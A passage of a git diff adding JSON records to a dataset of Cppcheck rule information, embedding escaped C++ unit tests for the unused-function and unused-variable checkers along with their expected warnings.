&){ return A(); }\\n\"\n \"A operator << (const A &, const int){ return A(); }\\n\"\n \"A operator >> (const A &, const int){ return A(); }\\n\"\n \"A operator <<= (const A &, const int){ return A(); }\\n\"\n \"A operator >>= (const A &, const int){ return A(); }\\n\"\n \"bool operator == (const A &, const A &){ return true; }\\n\"\n \"bool operator != (const A &, const A &){ return true; }\\n\"\n \"bool operator <= (const A &, const A &){ return true; }\\n\"\n \"bool operator >= (const A &, const A &){ return true; }\\n\"\n \"A operator && (const A &, const int){ return A(); }\\n\"\n \"A operator || (const A &, const int){ return A(); }\\n\"\n \"A operator ++ (const A &, const int){ return A(); }\\n\"\n \"A operator ++ (const A &){ return A(); }\\n\"\n \"A operator -- (const A &, const int){ return A(); }\\n\"\n \"A operator -- (const A &){ return A(); }\\n\"\n \"A operator , (const A &, const A &){ return A(); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"class A {\\n\"\n \"public:\\n\"\n \" static void * operator new(std::size_t);\\n\"\n \" static void * operator new[](std::size_t);\\n\"\n \"};\\n\"\n \"void * A::operator new(std::size_t s) {\\n\"\n \" return malloc(s);\\n\"\n \"}\\n\"\n \"void * A::operator new[](std::size_t s) {\\n\"\n \" return malloc(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void entrypointsWin() {\n check(\"int WinMain() { }\");\n ASSERT_EQUALS(\"[test.cpp:1:5]: (style) The function 'WinMain' is never used. [unusedFunction]\\n\", errout_str());\n\n check(\"int _tmain() { }\");\n ASSERT_EQUALS(\"[test.cpp:1:5]: (style) The function '_tmain' is never used. [unusedFunction]\\n\", errout_str());\n\n const Settings s = settingsBuilder(settings).library(\"windows.cfg\").build();\n\n check(\"int WinMain() { }\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int _tmain() { }\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void entrypointsWinU() {\n check(\"int wWinMain() { }\");\n ASSERT_EQUALS(\"[test.cpp:1:5]: (style) The function 'wWinMain' is never used. [unusedFunction]\\n\", errout_str());\n\n check(\"int _tmain() { }\");\n ASSERT_EQUALS(\"[test.cpp:1:5]: (style) The function '_tmain' is never used. [unusedFunction]\\n\", errout_str());\n\n const Settings s = settingsBuilder(settings).library(\"windows.cfg\").build();\n\n check(\"int wWinMain() { }\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int _tmain() { }\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void entrypointsUnix() {\n check(\"int _init() { }\\n\"\n \"int _fini() { }\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:5]: (style) The function '_init' is never used. [unusedFunction]\\n\"\n \"[test.cpp:2:5]: (style) The function '_fini' is never used. [unusedFunction]\\n\", errout_str());\n\n const Settings s = settingsBuilder(settings).library(\"gnu.cfg\").build();\n\n check(\"int _init() { }\\n\"\n \"int _fini() { }\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // TODO: fails because the location information is not be preserved by PreprocessorHelper::getcode()\n void includes()\n {\n // #11483\n const char inc[] = \"class A {\\n\"\n \"public:\\n\"\n \" void f() {}\\n\"\n \"};\";\n const char code[] = R\"(#include \"test.h\")\";\n ScopedFile header(\"test.h\", inc);\n const std::string processed = PreprocessorHelper::getcode(settings, *this, code, \"\", \"test.cpp\");\n check(processed);\n TODO_ASSERT_EQUALS(\"[test.h:3:6]: (style) The function 'f' is never used. [unusedFunction]\\n\", \"[test.cpp:3:6]: (style) The function 'f' is never used. [unusedFunction]\\n\", errout_str());\n }\n\n void virtualFunc()\n {\n check(\"struct D : public B {\\n\" // #10660\n \" virtual void f() {}\\n\"\n \" void g() override {}\\n\"\n \" void h() final {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B {\\n\"\n \" virtual void f() = 0;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {}\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" D d;\\n\"\n \" d.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void parensInit()\n {\n check(\"struct S {\\n\" // #12898\n \" void url() {}\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" const int url(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) The function 'url' is never used. [unusedFunction]\\n\", errout_str());\n }\n\n void typeInCast()\n {\n check(\"struct S {\\n\" // #12901\n \" void Type() {}\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" struct Type {} t;\\n\"\n \" Type t2{ (Type)t };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) The function 'Type' is never used. [unusedFunction]\\n\", errout_str());\n }\n\n void attributeCleanup()\n {\n check(\"void clean(void *ptr) {}\\n\"\n \"int main() {\\n\"\n \" void * __attribute__((cleanup(clean))) p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void attributeUnused()\n {\n check(\"[[unused]] void f() {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[gnu::unused]] void f() {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"__attribute__((unused)) void f() {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void attributeMaybeUnused()\n {\n check(\"[[__maybe_unused__]] void f() {}\\n\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[maybe_unused]] void f() {}\\n\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[maybe_unused]] void f() {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void staticFunction()\n {\n check(\"void f(void) {}\\n\"\n \"int main() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {}\\n\"\n \"int main() {\\n\"\n \" f();\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:1:6]: (style) The function 'f' should have static linkage since it is not used outside of its translation unit. [staticFunction]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestUnusedFunctions)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckUnusedVar/checkFunctionVariableUsage.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckUnusedVar/checkFunctionVariableUsage.json new file mode 100644 index 0000000..261d0f3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckUnusedVar/checkFunctionVariableUsage.json @@ -0,0 +1,22 @@ +{ + "name": "checkFunctionVariableUsage", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 257, + "branches": 93, + "apis": 270, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 274 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkunusedvar.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"preprocessor.h\"\n#include \"settings.h\"\n\n#include \n#include \n\nclass TestUnusedVar : public TestFixture {\npublic:\n TestUnusedVar() : TestFixture(\"TestUnusedVar\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::style).checkLibrary().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(isRecordTypeWithoutSideEffects);\n TEST_CASE(cleanFunction);\n\n TEST_CASE(emptyclass); // #5355 - False positive: Variable is not assigned a value.\n TEST_CASE(emptystruct); // #5355 - False positive: Variable is not assigned a value.\n\n TEST_CASE(structmember1);\n TEST_CASE(structmember2);\n TEST_CASE(structmember3);\n TEST_CASE(structmember4);\n TEST_CASE(structmember5);\n TEST_CASE(structmember6);\n TEST_CASE(structmember7);\n TEST_CASE(structmember8);\n TEST_CASE(structmember9); // #2017 - struct is inherited\n TEST_CASE(structmember_extern); // No false positives for extern structs\n TEST_CASE(structmember10);\n TEST_CASE(structmember11); // #4168 - initialization with {} / passed by address to unknown function\n TEST_CASE(structmember12); // #7179 - FP unused structmember\n TEST_CASE(structmember13); // #3088 - __attribute__((packed))\n TEST_CASE(structmember14); // #6508 - (struct x){1,2,..}\n TEST_CASE(structmember15); // #3088 - #pragma pack(1)\n TEST_CASE(structmember_sizeof);\n TEST_CASE(structmember16); // #10485\n TEST_CASE(structmember17); // #10591\n TEST_CASE(structmember18); // #10684\n TEST_CASE(structmember19); // #10826, #10848, #10852\n TEST_CASE(structmember20); // #10737\n TEST_CASE(structmember21); // #4759\n TEST_CASE(structmember22); // #11016\n TEST_CASE(structmember23);\n TEST_CASE(structmember24); // #10847\n TEST_CASE(structmember25);\n TEST_CASE(structmember26); // #13345\n TEST_CASE(structmember27); // #13367\n TEST_CASE(structmember28);\n TEST_CASE(structmember_macro);\n TEST_CASE(structmember_template_argument); // #13887 - do not report that member used in template argument is unused\n TEST_CASE(classmember);\n TEST_CASE(structmemberStructuredBinding); // #13107\n\n TEST_CASE(localvar1);\n TEST_CASE(localvar2);\n TEST_CASE(localvar3);\n TEST_CASE(localvar4);\n TEST_CASE(localvar5);\n TEST_CASE(localvar6);\n TEST_CASE(localvar8);\n TEST_CASE(localvar9); // ticket #1605\n TEST_CASE(localvar10);\n TEST_CASE(localvar11);\n TEST_CASE(localvar12);\n TEST_CASE(localvar13); // ticket #1640\n TEST_CASE(localvar14); // ticket #5\n TEST_CASE(localvar15);\n TEST_CASE(localvar16); // ticket #1709\n TEST_CASE(localvar17); // ticket #1720\n TEST_CASE(localvar18); // ticket #1723\n TEST_CASE(localvar19); // ticket #1776\n TEST_CASE(localvar20); // ticket #1799\n TEST_CASE(localvar21); // ticket #1807\n TEST_CASE(localvar22); // ticket #1811\n TEST_CASE(localvar23); // ticket #1808\n TEST_CASE(localvar24); // ticket #1803\n TEST_CASE(localvar25); // ticket #1729\n TEST_CASE(localvar26); // ticket #1894\n TEST_CASE(localvar27); // ticket #2160\n TEST_CASE(localvar28); // ticket #2205\n TEST_CASE(localvar29); // ticket #2206 (array initialization)\n TEST_CASE(localvar30);\n TEST_CASE(localvar31); // ticket #2286\n TEST_CASE(localvar32); // ticket #2330\n TEST_CASE(localvar33); // ticket #2346\n TEST_CASE(localvar34); // ticket #2368\n TEST_CASE(localvar35); // ticket #2535\n TEST_CASE(localvar36); // ticket #2805\n TEST_CASE(localvar37); // ticket #3078\n TEST_CASE(localvar38);\n TEST_CASE(localvar39); // ticket #3454\n TEST_CASE(localvar40); // ticket #3473\n TEST_CASE(localvar41); // ticket #3603\n TEST_CASE(localvar42); // ticket #3742\n TEST_CASE(localvar43); // ticket #3602\n TEST_CASE(localvar44); // ticket #4020\n TEST_CASE(localvar45); // ticket #4899\n TEST_CASE(localvar46); // ticket #5491 (C++11 style initialization)\n TEST_CASE(localvar47); // ticket #6603\n TEST_CASE(localvar48); // ticket #6954\n TEST_CASE(localvar49); // ticket #7594\n TEST_CASE(localvar50); // ticket #6261 : dostuff(cond ? buf1 : buf2)\n TEST_CASE(localvar51); // ticket #8128 - FN : tok = tok->next();\n TEST_CASE(localvar52);\n TEST_CASE(localvar53); // continue\n TEST_CASE(localvar54); // ast, {}\n TEST_CASE(localvar55);\n TEST_CASE(localvar56);\n TEST_CASE(localvar57); // #8974 - increment\n TEST_CASE(localvar58); // #9901 - increment false positive\n TEST_CASE(localvar59); // #9737\n TEST_CASE(localvar60);\n TEST_CASE(localvar61); // #9407\n TEST_CASE(localvar62); // #10824\n TEST_CASE(localvar63); // #6928\n TEST_CASE(localvar64); // #9997\n TEST_CASE(localvar65); // #9876, #10006\n TEST_CASE(localvar66); // #11143\n TEST_CASE(localvar67); // #9946\n TEST_CASE(localvar68);\n TEST_CASE(localvar69);\n TEST_CASE(localvar70);\n TEST_CASE(localvar71);\n TEST_CASE(localvarloops); // loops\n TEST_CASE(localvaralias1);\n TEST_CASE(localvaralias2); // ticket #1637\n TEST_CASE(localvaralias3); // ticket #1639\n TEST_CASE(localvaralias4); // ticket #1643\n TEST_CASE(localvaralias5); // ticket #1647\n TEST_CASE(localvaralias6); // ticket #1729\n TEST_CASE(localvaralias7); // ticket #1732\n TEST_CASE(localvaralias8);\n TEST_CASE(localvaralias9); // ticket #1996\n TEST_CASE(localvaralias10); // ticket #2004\n TEST_CASE(localvaralias11); // ticket #4423 - iterator\n TEST_CASE(localvaralias12); // ticket #4394\n TEST_CASE(localvaralias13); // ticket #4487\n TEST_CASE(localvaralias14); // ticket #5619\n TEST_CASE(localvaralias15); // ticket #6315\n TEST_CASE(localvaralias16);\n TEST_CASE(localvaralias17); // ticket #8911\n TEST_CASE(localvaralias18); // ticket #9234 - iterator\n TEST_CASE(localvaralias19); // ticket #9828\n TEST_CASE(localvaralias20); // ticket #10966\n TEST_CASE(localvaralias21);\n TEST_CASE(localvaralias22);\n TEST_CASE(localvaralias23);\n TEST_CASE(localvarasm);\n TEST_CASE(localvarstatic);\n TEST_CASE(localvarextern);\n TEST_CASE(localvardynamic1);\n TEST_CASE(localvardynamic2); // ticket #2904\n TEST_CASE(localvardynamic3); // ticket #3467\n TEST_CASE(localvararray1); // ticket #2780\n TEST_CASE(localvararray2); // ticket #3438\n TEST_CASE(localvararray3); // ticket #3980\n TEST_CASE(localvararray4); // ticket #4839\n TEST_CASE(localvararray5); // ticket #7092\n TEST_CASE(localvararray6);\n TEST_CASE(localvarstring1);\n TEST_CASE(localvarstring2); // ticket #2929\n TEST_CASE(localvarconst1);\n TEST_CASE(localvarconst2);\n TEST_CASE(localvarreturn); // ticket #9167\n TEST_CASE(localvarmaybeunused);\n TEST_CASE(localvarrvalue); // ticket #13977\n\n TEST_CASE(localvarthrow); // ticket #3687\n\n TEST_CASE(localVarStd);\n TEST_CASE(localVarClass);\n TEST_CASE(localVarSmartPtr);\n\n // Don't give false positives for variables in structs/unions\n TEST_CASE(localvarStruct1);\n TEST_CASE(localvarStruct2);\n TEST_CASE(localvarStruct3);\n TEST_CASE(localvarStruct5);\n TEST_CASE(localvarStruct6);\n TEST_CASE(localvarStruct7);\n TEST_CASE(localvarStruct8);\n TEST_CASE(localvarStruct9);\n TEST_CASE(localvarStruct10);\n TEST_CASE(localvarStruct11); // 10095\n TEST_CASE(localvarStruct12); // #10495\n TEST_CASE(localvarStruct13); // #10398\n TEST_CASE(localvarStruct14);\n TEST_CASE(localvarStructArray);\n TEST_CASE(localvarUnion1);\n\n TEST_CASE(localvarOp); // Usage with arithmetic operators\n TEST_CASE(localvarInvert); // Usage with inverted variable\n TEST_CASE(localvarIf); // Usage in if\n TEST_CASE(localvarIfElse); // return tmp1 ? tmp2 : tmp3;\n TEST_CASE(localvarDeclaredInIf);\n TEST_CASE(localvarOpAssign); // a |= b;\n TEST_CASE(localvarFor); // for ( ; var; )\n TEST_CASE(localvarForEach); // #4155 - BOOST_FOREACH, hlist_for_each, etc\n TEST_CASE(localvarShift1); // 1 >> var\n TEST_CASE(localvarShift3); // x << y\n TEST_CASE(localvarCast);\n TEST_CASE(localvarClass);\n TEST_CASE(localvarUnused);\n TEST_CASE(localvarFunction); // ticket #1799\n TEST_CASE(localvarIfNOT); // #3104 - if ( NOT var )\n TEST_CASE(localvarAnd); // #3672\n TEST_CASE(localvarSwitch); // #3744 - false positive when localvar is used in switch\n TEST_CASE(localvarNULL); // #4203 - Setting NULL value is not redundant - it is safe\n TEST_CASE(localvarUnusedGoto); // #4447, #4558 goto\n TEST_CASE(localvarRangeBasedFor); // #7075\n TEST_CASE(localvarAssignInWhile);\n TEST_CASE(localvarTemplate); // #4955 - variable is used as template parameter\n TEST_CASE(localvarFuncPtr); // #7194\n TEST_CASE(localvarAddr); // #7477\n TEST_CASE(localvarDelete);\n TEST_CASE(localvarLambda); // #8941, #8948\n TEST_CASE(localvarStructuredBinding); // #10368\n\n TEST_CASE(localvarCppInitialization);\n TEST_CASE(localvarCpp11Initialization);\n\n TEST_CASE(chainedAssignment); // #5466\n\n TEST_CASE(crash1);\n TEST_CASE(crash2);\n TEST_CASE(crash3);\n TEST_CASE(usingNamespace); // #4585\n\n TEST_CASE(lambdaFunction); // #5078\n TEST_CASE(namespaces); // #7557\n TEST_CASE(bracesInitCpp11);// #7895 - \"int var{123}\" initialization\n\n TEST_CASE(argument);\n TEST_CASE(argumentClass);\n TEST_CASE(escapeAlias); // #9150\n TEST_CASE(volatileData); // #9280\n TEST_CASE(globalData);\n\n TEST_CASE(structuredBinding); // #13269\n }\n\n struct FunctionVariableUsageOptions\n {\n FunctionVariableUsageOptions() = default;\n bool cpp = true;\n };\n\n#define functionVariableUsage(...) functionVariableUsage_(__FILE__, __LINE__, __VA_ARGS__)\n void functionVariableUsage_(const char* file, int line, const char code[], const FunctionVariableUsageOptions& options = make_default_obj()) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check for unused variables..\n CheckUnusedVar checkUnusedVar(&tokenizer, &settings, this);\n checkUnusedVar.checkFunctionVariableUsage();\n }\n\n struct CheckStructMemberUsageOptions\n {\n CheckStructMemberUsageOptions() = default;\n const std::list* directives = nullptr;\n bool cpp = true;\n };\n\n#define checkStructMemberUsage(...) checkStructMemberUsage_(__FILE__, __LINE__, __VA_ARGS__)\n void checkStructMemberUsage_(const char* file, int line, const char code[], const CheckStructMemberUsageOptions& options = make_default_obj()) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this, options.cpp);\n if (options.directives)\n tokenizer.setDirectives(*options.directives);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check for unused variables..\n CheckUnusedVar checkUnusedVar(&tokenizer, &settings, this);\n (checkUnusedVar.checkStructMemberUsage)();\n }\n\n#define checkStructMemberUsageP(...) checkStructMemberUsageP_(__FILE__, __LINE__, __VA_ARGS__)\n void checkStructMemberUsageP_(const char* file, int line, const char code[]) {\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check for unused variables..\n CheckUnusedVar checkUnusedVar(&tokenizer, &settings, this);\n (checkUnusedVar.checkStructMemberUsage)();\n }\n\n#define checkFunctionVariableUsageP(...) checkFunctionVariableUsageP_(__FILE__, __LINE__, __VA_ARGS__)\n void checkFunctionVariableUsageP_(const char* file, int line, const char code[]) {\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check for unused variables..\n CheckUnusedVar checkUnusedVar(&tokenizer, &settings, this);\n (checkUnusedVar.checkFunctionVariableUsage)();\n }\n\n\n void isRecordTypeWithoutSideEffects() {\n functionVariableUsage(\n \"class A {};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Unused variable: a [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"class A {};\\n\"\n \"class B {\\n\"\n \"public:\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" B b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:6]: (style) Unused variable: b [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"class C {\\n\"\n \"public:\\n\"\n \" C() = default;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"class D {\\n\"\n \"public:\\n\"\n \" D() {}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" D d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:6]: (style) Unused variable: d [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"class E {\\n\"\n \"public:\\n\"\n \" uint32_t u{1};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" E e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:6]: (style) Unused variable: e [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(0) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:6]: (style) Unused variable: f [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x{0} {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:6]: (style) Unused variable: f [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"int y = 0;\\n\"\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(y) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:6]: (style) Unused variable: f [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"int y = 0;\"\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(++y) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:6]: (style) Unused variable: f [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"int y = 0;\"\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(--y) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:6]: (style) Unused variable: f [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"int y = 0;\"\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(y+=1) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:6]: (style) Unused variable: f [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"int y = 0;\"\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(y-=1) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:6]: (style) Unused variable: f [unusedVariable]\\n\", errout_str());\n\n // non-empty constructor\n functionVariableUsage(\n \"class F {\\n\"\n \"public:\\n\"\n \" F() {\\n\"\n \" int i = 0;\\n\"\n \" (void) i;\"\n \" }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n // constructor with hidden definition\n functionVariableUsage(\n \"class B {\\n\"\n \"public:\\n\"\n \" B();\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" B* b = new B;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" A a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // side-effect variable\n functionVariableUsage(\n \"class F {\\n\"\n \"public:\\n\"\n \" F() {\\n\"\n \" int i = 0;\\n\"\n \" (void) i;\"\n \" }\\n\"\n \"};\\n\"\n \"class G {\\n\"\n \"public:\\n\"\n \" F f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" G g;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // side-effect variable in initialization list\n functionVariableUsage(\n \"class F {\\n\"\n \"public:\\n\"\n \" F() {\\n\"\n \" int i = 0;\\n\"\n \" (void) i;\"\n \" }\\n\"\n \"};\\n\"\n \"class G {\\n\"\n \"public:\\n\"\n \" G() : f(F()) {}\\n\"\n \" F f;\"\n \"};\\n\"\n \"void f() {\\n\"\n \" G g;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unknown variable type\n functionVariableUsage(\n \"class H {\\n\"\n \"public:\\n\"\n \" unknown_type u{1};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" H h;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unknown variable type in initialization list\n functionVariableUsage(\n \"class H {\\n\"\n \"public:\\n\"\n \" H() : x{0}, u(1) {}\\n\"\n \" int x;\"\n \" unknown_type u;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" H h;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unknown variable type used for initialization\n functionVariableUsage(\n \"unknown_type y = 0;\\n\"\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(y) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"int sideEffectFunc();\\n\"\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(sideEffectFunc()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(++unknownValue) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(--unknownValue) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(unknownValue+=1) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(unknownValue-=1) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"struct S {\\n\"\n \" static void f() { std::cout << \\\"f()\\\"; }\\n\"\n \" ~S() { f(); }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" S s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage( // #11109\n \"class D { public: D(); };\\n\"\n \"class E { public: ~E(); };\\n\"\n \"class F {\\n\"\n \"public:\\n\"\n \" F();\\n\"\n \" ~F();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" D d;\\n\"\n \" E e;\\n\"\n \" F f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void cleanFunction() {\n // unknown function\n functionVariableUsage(\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function forward declaration\n functionVariableUsage(\n \"int func();\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // return literal\n functionVariableUsage(\n \"int func() { return 1; }\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // return variable without side effects\n functionVariableUsage(\n \"int func() {\\n\"\n \" int x = 1;\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // return variable with side effects\n functionVariableUsage(\n \"int func() {\\n\"\n \" unknown_type x = 1;\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n 